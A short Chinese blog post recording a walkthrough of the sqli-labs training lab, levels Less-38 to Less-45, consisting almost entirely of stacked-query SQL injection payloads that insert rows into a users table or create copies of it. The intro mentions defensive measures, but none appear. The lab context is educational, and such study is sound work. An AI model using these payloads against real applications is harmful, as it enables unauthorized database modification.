这篇博客详细记录了作者在sqli-labs中的闯关经历，从Less-38到Less-45，涵盖了stacked Query的各种类型，包括Integer类型、String类型盲注、基于错误的注入等，每个关卡都提供了相应的payload示例，揭示了SQL注入攻击的不同技术和防范措施。
Stacked injections
Less-38 stacked Query
payload:?id=1';insert into users(id,username,password) values ('15','shawn','brother')--+
Less-39 stacked Query Intiger type
payload:?id=1;insert into users(id,username,password) values ('16','shawn_16','brother')--+
Less-40 stacked Query String type Blind
payload:?id=1');insert into users(id,username,password) value ('17','shawn_17','brother')-- +
Less-41 stacked Query Intiger type blind
payload:?id=(1);insert into users(id,username,password) value ('18','shawn_18','brother')-- +
Less-42 Stacked Query error based
payload:c';create table shawn like users#
Less-43 Stacked Query
payload:c');create table shawn_43 like users#
Less-44 Stacked Query blind
payload:c';insert into users(id,username,password) value ('19','shawn_19','brother')#
Less-45 Stacked Query Blind based twist
payload:a');create table shawn_45 like users#
扫一扫
2010
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
